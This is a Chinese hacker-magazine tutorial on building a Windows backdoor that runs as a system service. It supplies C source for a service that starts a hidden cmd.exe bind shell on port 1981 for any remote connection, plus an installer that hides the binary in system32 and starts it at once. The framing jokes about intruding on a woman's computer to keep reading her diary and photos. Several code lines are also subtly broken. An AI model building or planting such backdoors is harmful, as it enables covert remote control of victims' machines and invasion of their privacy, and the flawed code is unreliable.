服務級後門自己做——創建服務
以往大多數的木馬/後門都是通過修改係統ini文件(比如Win.ini,System.ini)或修改注冊表的RUN值來實現自啟動的,還有更簡單的是修改Autobat.exe(老大,地球不適合你,你還是回火星吧),但隨著網絡用戶安全意識的提高,連我家旁邊賣茶葉蛋的大媽都知道如何對付這些老方法了。為了適應新時代木馬後門技術的發展要求,一種利用Windows NT/2000/XP係統服務的後門產生了,現在的WinShell,WinEggDrop等眾人皆知的Telnte擴展後門都利用了這種方式。相信很多小菜們對這種後門技術並不了解,所以,我在這裏就充個大頭,給大家傳授教業解解惑吧(受害MM目光呆滯,一臉絕望:有了你們這幫人,天下什麼時候才能“無賊”啊?)。
前置原理
Windows NT/2000/XP提供的服務既可以指一種特定的Win32進程,也可以指內核模式的設備驅動程序。操作係統的一個稱為“服務控製管理器SCM”的組件被用來裝載和控製這兩種類型的服務。當然,我們說的服務,是指的前者,即我們可以利用的服務是一個在Windows NT/2000/XP下執行的程序。當我們打開“控製麵板管理工具服務”,就可以看到右邊有一堆的服務,如圖1所示。每一行指定了一個特定服務的屬性,包括名稱、描述、狀態、啟動類型、登錄方式等。
圖1
“服務”本身是Windows NT/2000/XP下客戶/服務器軟件的合理選擇,因為它提供了像Unix下後台程序Daemons(守護進程)的等價物,而且使得創建能夠代表權限低的用戶進行權限高的操作的程序成為可能。像我們熟知的RPC服務,病毒掃描程序以及備份程序都是很適合作為服務進程。
服務能被我們利用作為後門實現自啟動,是因為它有三個很重要的特性:
1. 服務可以被指定為自啟動,在利用傳統的注冊表修改RUN鍵值,添加ini自啟動項等方法的基礎上又多了一種選擇。
2. 服務可以在任何用戶登錄前開始運行,我們可以在服務啟動時加入殺防火牆的代碼。
3. 服務是運行在後台的,如果不注意,天知道什麼時候被人家裝了後門。
服務大都是由服務控製程序在注冊表中維護的一個信息數據庫來管理的,每個服務在HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services中都可以找到相應的一個關鍵項。服務區別於一般Windows NT/2000/XP程序的主要之處在於服務與服務控製管理程序的合作,在後麵的編程中我們將會體會到這一點。
編程實現
一個完整的服務分為安裝服務程序,主體服務程序和卸載服務程序。我們先來寫服務的主體部分,示例代碼如下:
void main()
{
SERVICE_TABLE_ENTRY ServiceTable[] =
{
{"scuhkr", BDServiceMain},
{NULL, NULL} //"哨兵"
};
//連接到服務控製管理器
StartServiceCtrlDispatcher(ServiceTable);
}
路人甲:什麼,就這麼短?你想侮辱廣大鳥兒的智慧?嗬嗬,先別急,聽我慢慢道來:上麵代碼中,我們先給出了一個SERVICE_TABLE_ENTRY結構數組,每個成員描述了調用進程提供的服務,這裏我們隻安裝了一個服務名為Scuhkr的服務,後麵的BDServiceMain()我們稱之為服務主函數,通過回調該函數提供了服務入口地址,它原形的參數必須定義成如下形式:
VOID WINAPI BDServiceMain(
DWORD dwArgc, //lpszArgv參數個數
LPTSTR* lpszArgv //該數組第一個的參數指定了服務名,可以在後麵被
StartService()來調用
);
SERVICE_TABLE_ENTRY結構數組要求最後一個成員組都為NULL,我們稱之為“哨兵”(所有值都為NULL),表示該服務表末尾。一個服務啟動後,馬上調用StartServiceCtrlDispatcher()通知服務控製程序服務正在執行,並提供服務函數的地址。StartServiceCtrlDispatcher()隻需要一個至少有兩SERVICE_TABLE_ENTRY結構的數組,它為每個服務啟動一個線程,一直等到它們結束才返回。
本程序隻提供了一個服務函數BDServiceMain(),下麵我們來下完成這個函數的功能,示例代碼如下:
void WINAPI BDServiceMain(DWORD dwArgc, LPTSTR *lpszArgv)
{
DWORD dwThreadId; //存放線程ID
//通過RegisterServiceCtrlHandler()與服務控製程序建立一個通信的協議。
//BDHandler()是我們的服務控製程序,它被可以被用來開始,暫停,恢複,停止服務等控製操作
if (!(ServiceStatusHandle = RegisterServiceCtrlHandler("scuhkr",
BDHandler)))
return;
//表示該服務私有
ServiceStatus.dwServiceType = SERVICE_WIN32_OWN_PROCESS;
//初始化服務,正在開始
ServiceStatus.dwCurrentState = SERVICE_START_PENDING; //
//服務可以接受的請求,這裏我們隻接受停止服務請求和暫停恢複請求
ServiceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP
| SERVICE_ACCEPT_PAUSE_CONTINUE;
//下麵幾個一般我們不大關心,全為0
ServiceStatus.dwServiceSpecificExitCode = 0;
ServiceStatus.dwWin32ExitCode = 0;
ServiceStatus.dwCheckPoint = 0;
ServiceStatus.dwWaitHint = 0;
//必須調用SetServiceStatus()來響應服務控製程序的每次請求通知
SetServiceStatus(ServiceStatusHandle, &ServiceStatus);
//開始運行服務
ServiceStatus.dwCurrentState = SERVICE_RUNNING;
ServiceStatus.dwCheckPoint = 0;
ServiceStatus.dwWaitHint = 0;
SetServiceStatus(ServiceStatusHandle, &ServiceStatus);
//我們用一個事件對象來控製服務的同步
if (!(hEvent=CreateEvent(NULL, FALSE, FALSE, NULL)))
return;
ServiceStatus.dwCurrentState = SERVICE_START_PENDING;
ServiceStatus.dwCheckPoint = 0;
ServiceStatus.dwWaitHint = 0;
SetServiceStatus(ServiceStatusHandle, &ServiceStatus);
//開線程來啟動我們的後門程序
if (!(hThread=CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)MainFn, (LPVOID)0, 0, &dwThreadId)))
ServiceStatus.dwCurrentState = SERVICE_RUNNING;
ServiceStatus.dwCheckPoint = 0;
ServiceStatus.dwWaitHint = 0;
WaitForSingleObject(hEvent, INFINITE);
CloseHandle(hThread);
ExitThread(dwThreadId);
CloseHandle(hEvent);
return;
}
上麵我們調用了一個服務控製函數BDHandler(),由於隻是簡單的介紹,我們這裏隻處理服務停止控製請求的情況,其它暫停、恢複等功能,讀者可以自己完善。下麵是對BDHandler()的實現代碼:
void WINAPI BDHandler(DWORD dwControl)
{
switch(dwControl)
{
case SERVICE_CONTROL_STOP:
//等待後門程序的停止
ServiceStatus.dwCurrentState = SERVICE_STOP_PENDING;
ServiceStatus.dwCheckPoint = 0;
ServiceStatus.dwWaitHint = 0;
SetServiceStatus(ServiceStatusHandle, &ServiceStatus);
//設時間為激發狀態,等待下一個事件的到來
SetEvent(hEvent);
ServiceStatus.dwCurrentState = SERVICE_STOP;
ServiceStatus.dwCheckPoint = 0;
ServiceStatus.dwWaitHint = 0;
//停止
SetServiceStatus(ServiceStatusHandle, &ServiceStatus);
break;
default:
break;
}
}
服務控製函數搞定了,下麵就剩下主體的後門函數了。本程序借用了N多前輩翻寫過了無數次的後門程序,通過開一個端口監聽,允許任何與該端口連接的遠程主機建立信任連接,並提供一個交互式Shell。為了代碼清晰,我去掉了錯誤檢查,整個過程很簡單,也就不多解釋了,黑防上都有N期介紹了,代碼如下:
DWORD WINAPI MainFn(LPVOID lpParam)
{
WSADATA WSAData;
struct sockaddr_in RemoteAddr;
DWORD dwThreadIdA,dwThreadIdB,dwThreadParam=0;
PROCESS_INFORMATION processinfo;
STARTUPINFO startinfo;
WSAStartup(MAKEWORD(2,2),&WSAData);
ServerSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
RemoteAddr.sin_family = AF_INET;
RemoteAddr.sin_port = htons(1981); //監聽端口
RemoteAddr.sin_addr.S_un.S_addr = INADDR_ANY;
bind(ServerSocket,(LPSOCKADDR)&RemoteAddr,sizeof(RemoteAddr));
listen(ServerSocket, 2);
varA = 0;
varB = 0;
CreateThread(NULL, 0, ThreadFuncA, NULL, 0, &dwThreadIdA);
CreateThread(NULL, 0, ThreadFuncB, NULL, 0, &dwThreadIdB);
dowhile((varA || varB) == 0);
GetStartupInfo(&startinfo);
startinfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
startinfo.hStdInput = hReadPipe;
startinfo.hStdError = hWritePipe;
startinfo.hStdOutput = hWritePipe;
startinfo.wShowWindow = SW_HIDE; //隱藏控製台窗口
char szAPP[256];
GetSystemDirectory(szAPP,MAX_PATH+1);
strcat(szAPP,"\\cmd.exe");
//開cmd進程
if (CreateProcess(szAPP, NULL, NULL, NULL, TRUE, 0,
NULL, NULL, &startinfo, &processinfo) == 0)
{
printf ("CreateProcess Error!\n");
return -1;
}
while (true)
{
ClientSocket = accept(ServerSocket, NULL, NULL);
Sleep(250);
}
return 0;
}
//線程函數A, 通過管道A來從控製端接受輸入,然後寫入被控製端輸入端
DWORD WINAPI ThreadFuncA( LPVOID lpParam )
{
SECURITY_ATTRIBUTES pipeattr;
DWORD nByteToWrite, nByteWritten;
char recv_buff[1024];
pipeattr.nLength = sizeof(SECURITY_ATTRIBUTES);
pipeattr.lpSecurityDescriptor = NULL;
pipeattr.bInheritHandle = TRUE;
CreatePipe(&hReadPipe,
&hWriteFile,
&pipeattr,
0);
varA = 1;
while(true)
{
Sleep(250);
nByteToWrite = recv(ClientSocket,
recv_buff,
1024,
0);
printf("%s\n", recv_buff);
WriteFile(hWriteFile,
recv_buff,
nByteToWrite,
&nByteWritten,
NULL);
}
return 0;
}
//線程函數B, 通過管道B來從被控製端接受輸入,然後寫到控製端輸出端
DWORD WINAPI ThreadFuncB( LPVOID lpParam )
{
SECURITY_ATTRIBUTES pipeattr;
DWORD len;
char send_buff[25000];
pipeattr.nLength = sizeof(SECURITY_ATTRIBUTES);
pipeattr.lpSecurityDescriptor = NULL;
pipeattr.bInheritHandle = TRUE;
CreatePipe(&hReadFile,
&hWritePipe,
&pipeattr,
0);
varB = 1;
while (true)
return 0;
}
在我們成功入侵目標MM主機後,看了MM的照片,讀了MM的日記……此處省略惡行30條。在拍屁股走人之前,怎麼也要留個後門,方便下次繼續看新的照片,繼續讀MM的小秘密(嗬嗬,大家不要誤會,我從來不幹這種事D)。那後門怎麼留?我們上麵寫的都是主體部分,還沒安裝呢。安裝服務的部分其實很簡單,示例代碼如下:
// InstallService.cpp
void main()
{
SC_HANDLE hSCManager = NULL, //服務控製管理器句柄
hService = NULL; //服務句柄
char szSysPath[MAX_PATH]=,
szExePath[MAX_PATH]=; //我們要把我們後台執行的程序放在這裏,一般就是在\\admin$\\system32\裏,隱蔽性高
if ((hSCManager = OpenSCManager(NULL, //NULL表明是本地主機
NULL, // 要打開的服務控製管理數據庫,默認為空
SC_MANAGER_CREATE_SERVICE//創建權限
))==NULL)
{
pirntf("OpenSCManager failed\n");
return;
}
GetSystemDirectory(szSysPath, MAX_PATH); //獲得係統目錄,也就是system32裏麵,隱蔽起來
strcpy(szExePath, szSysPath);
strcat(szExePath, "scuhkr.exe"); //應用程序絕對路徑
if ((hService=CreateService(hSCManager, //指向服務控製管理數據庫的句柄
"scuhkr", //服務名
"scuhkr backdoor service", //顯示用的服務名
SERVICE_ALL_ACCESS, //所有訪問權限
SERVICE_WIN32_OWN_PROCESS, //私有類型
SERVICE_DEMAND_START, //自啟動類型 SERVICE_ERROR_IGNORE, //忽略錯誤處理
szExePath, //應用程序路徑
NULL,
NULL,
NULL,
NULL,
NULL)) == NULL)
{
printf("%d\n", GetLastError());
return;
}
//讓服務馬上運行。萬一是個服務器,10天半個月不重啟,豈不是沒搞頭?
if(StartService(hService, 0, NULL) == FALSE)
{
printf("StartService failed: %d\n", GetLastError());
return;
}
printf(“Install service successfully\n ”);
CloseServiceHandle(hService); //關閉服務句柄
CloseServiceHandle(hSCManager); //關閉服務管理數據庫句柄
}
Ok,一切都寫完了,我們在本機上測試一下,先把前麵的服務主體程序Scuhkr.exe拷貝到係統目錄\system32下(如果需要程序自動實現自拷貝的,可以通過CopyFile()來實現,具體怎麼做偶就不講了,相信聰明的你三下五除二就能搞定,確實不行就去找WinShell的源代碼來看看吧),然後執行InstallServcie.exe。為了看我們是否安裝成功,有兩個辦法,一是通過控製麵板->管理工具->服務,二是利用控製台下係統自帶的Sc.exe工具,比如:“sc.exe qc rpcss”,如圖2所示。看到安裝服務的信息了?是不是很簡單呢!
圖2
至於以後不想再要這個MM的肉雞了,又不想留下把柄什麼的,要刪除服務怎麼辦?讀者就自己當做練習吧。還有一點要說的是,本人也是臨時抱佛腳,狂啃了幾天關於NT係統服務方麵的編程,如果有什麼不對,歡迎大家批評指正!
(文中涉及到的程序已收錄到雜誌配套光盤“雜誌相關”欄目,按文章名查找即可)
最後更新:2017-04-03 14:53:38